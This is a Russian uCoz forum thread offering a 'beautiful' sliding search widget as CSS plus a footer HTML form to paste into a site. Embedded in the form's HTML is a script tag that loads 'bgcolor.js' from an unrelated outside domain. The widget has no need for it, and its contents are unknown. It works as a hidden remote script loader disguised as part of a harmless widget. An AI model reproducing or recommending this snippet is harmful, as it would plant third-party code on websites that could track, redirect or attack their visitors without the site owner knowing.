[TITLE]
Главная | Форум | Файлы | Ваш сайт | Регистрация | Вход Приветствую Вас Гость
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Скрипты для Ucoz » Другие скрипты для uCoz » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Выдыижной, Красивый поиск
AsissaДата: Понедельник, 16.07.2012, 01:48 | Сообщение # 1
Новичек
Группа: Пользователи
Сообщений: 5
[ 0 ]
Награды
0
Бог форума

Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

Code
.poisk{   
   position:fixed;   
   background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:linear-gradient(bottom,#426BFF,#60A5FF);   
   -webkit-box-shadow:0 0 3px black;   
   -moz-box-shadow:0 0 3px black;   
   -o-box-shadow:0 0 3px black;   
   box-shadow:0 0 3px black;   
   border:1px solid #404040;   
   left:-200px;   
   width:240px;   
   height:30px;   
   border-radius:3px;   
   top:100px;   
   color:white;   
   text-shadow:0 0 3px black;   
   -webkit-transition:all 0.4s ease;   
   -moz-transition:all 0.4s ease;   
   -o-transition:all 0.4s ease;   
   transition:all 0.4s ease;   
   padding:3px;   
   }   
   .poisk:hover{   
   left:-3px;   
   }   
   .poisk #search{   
   width:175px;   
   position:relative;   
   top:3px;   
   left:5px;   
   -webkit-transition: all 0.4s ease;   
   -moz-transition: all 0.4s ease;   
   -o-transition: all 0.4s ease;   
   transition: all 0.4s ease;   
   border-radius:3px;   
   border:1px solid #606060;   
   height:26px;   
   }   
   .poisk:hover #search{   
   width:230px;   
   }   
   #search{   
   -webkit-transition:all 0.2s ease;   
   -moz-transition:all 0.2s ease;   
   -o-transition:all 0.2s ease;   
   transition:all 0.2s ease;   
   }   
   #search:focus{   
   border:1px solid #404040;   
   -webkit-box-shadow:inset 1px 1px 3px #ccc;   
   -moz-box-shadow:inset 1px 1px 3px #ccc;   
   box-shadow:inset 1px 1px 3px #ccc;   
   }   
   .poisk:hover #poiskknopka{   
   display:none;   
   }


2)Вставляем в Нижнюю часть сайта:

Code
<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>
Форум » Скрипты для Ucoz » Другие скрипты для uCoz » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
  • Новый Топ пользователей с аватарами для Ucoz (0)

  • Простой и красивый вид формы опроса (0)

  • Красивый информер "кто нас сегодня посетил" для Ucoz (0)

  • Flash радио для сайта (0)

  • Новый информер комментарии для ucoz как на Dle (0)

  • Связь с администрацией (0)

  • Скрипт друзья сайта для uCoz (0)

  • Всплывающий мини-чат в углу сайта + красивый вид (0)

  • Обновленная статистика для Ucoz (0)

  • Сегодня нас посетили XX юзеров (0)

  • [1]>Ваши вопросы по раскрутке [2]

    [2]>Форма входа, простая светлая предназначена для авторизации [1]

    [3]>Need for Speed: Undercover [1]

    [4]>NFS MosT Wanted, Краткая информиция..!!! [1]

    [5]>Скрипт наши cw [1]

    [6]>Образец заявки на изготовление аватара [1]

    [7]>Красивый информер "кто нас сегодня посетил" [1]

    [8]>Счетчик денег на форуме за сообщения [1]

    [9]>Флеш календарик [1]

    [10]>Такой вопрос кто сколько уже играет в КС? [1]

  • SaNeq^ (143)
  • Ste@M (47)
  • Batareyka (13)
  • relax (7)
  • MiX (7)
  • Lookflaco (6)
  • DianaWeb (5)
  • Asissa (5)
  • Позитивчик (5)
  • laym (4)
  • Igor_Sivokin [06.09.2017|10:48]

    LEGKO_ZARABOTAT [06.02.2017|03:19]

    mrvolkov490 [29.11.2016|07:58]

    CLON [05.02.2016|13:47]

    BOPOH [08.01.2016|20:43]

    diplomnhelp2000 [01.12.2015|05:04]

    10fru [11.10.2015|12:30]

    Bitfood [07.10.2013|10:35]

    DoG5260 [19.03.2013|20:25]

    Onlines [17.01.2013|21:26]

    Все материалы размещенные на сайте пренадлежат их владельцам и предоставляются исключительно в ознакомительных целях. Администрация ответственности за содержание материала не несет и убытки не возмещает. По истечении 24 часов материал должен быть удален с вашего компьютера. Незаконная реализация карается законами РФ: "Об авторском и смежном праве". При копировании материала, ссылка на сайт обязательна!